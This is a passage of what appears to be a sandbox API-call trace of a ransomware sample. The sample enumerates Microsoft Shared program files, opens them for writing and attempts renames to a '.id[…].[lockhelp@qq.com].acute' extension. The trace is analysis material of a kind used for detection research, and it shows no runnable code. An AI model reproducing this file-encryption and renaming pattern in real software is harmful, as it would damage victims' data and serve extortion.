files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.689] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.690] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=302976) returned 1 [0272.690] CloseHandle (hObject=0x32c) returned 1 [0272.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20 [0272.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.690] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.691] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=280448) returned 1 [0272.691] CloseHandle (hObject=0x32c) returned 1 [0272.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 0x20 [0272.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.691] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.692] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=1257984) returned 1 [0272.692] CloseHandle (hObject=0x32c) returned 1 [0272.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 0x20 [0272.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.692] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.693] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=1831424) returned 1 [0272.693] CloseHandle (hObject=0x32c) returned 1 [0272.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll")) returned 0x20 [0272.693] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0272.693] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll")) returned 0 [0272.693] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.694] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=430080) returned 1 [0272.694] CloseHandle (hObject=0x32c) returned 1 [0272.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 0x20 [0272.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.694] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.695] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=3584) returned 1 [0272.695] CloseHandle (hObject=0x32c) returned 1 [0272.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0272.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.696] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.696] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=4096) returned 1 [0272.696] CloseHandle (hObject=0x32c) returned 1 [0272.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0272.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.696] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.696] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=193024) returned 1 [0272.696] CloseHandle (hObject=0x32c) returned 1 [0272.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0272.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.697] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.697] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=3584) returned 1 [0272.697] CloseHandle (hObject=0x32c) returned 1 [0272.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0272.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.697] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.697] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=3584) returned 1 [0272.697] CloseHandle (hObject=0x32c) returned 1 [0272.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0272.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.697] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.698] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=4096) returned 1 [0272.698] CloseHandle (hObject=0x32c) returned 1 [0272.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0272.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.698] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.699] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=4096) returned 1 [0272.699] CloseHandle (hObject=0x32c) returned 1 [0272.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0272.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.699] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.700] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=8704) returned 1 [0272.700] CloseHandle (hObject=0x32c) returned 1 [0272.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0272.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.700] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.700] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=4608) returned 1 [0272.701] CloseHandle (hObject=0x32c) returned 1 [0272.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0272.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.701] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.702] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=9216) returned 1 [0272.702] CloseHandle (hObject=0x32c) returned 1 [0272.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui")) returned 0x20 [0272.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.702] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.703] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=2560) returned 1 [0272.703] CloseHandle (hObject=0x32c) returned 1 [0272.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0272.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.704] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.704] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=22528) returned 1 [0272.704] CloseHandle (hObject=0x32c) returned 1 [0272.704] GetFileAttributesW 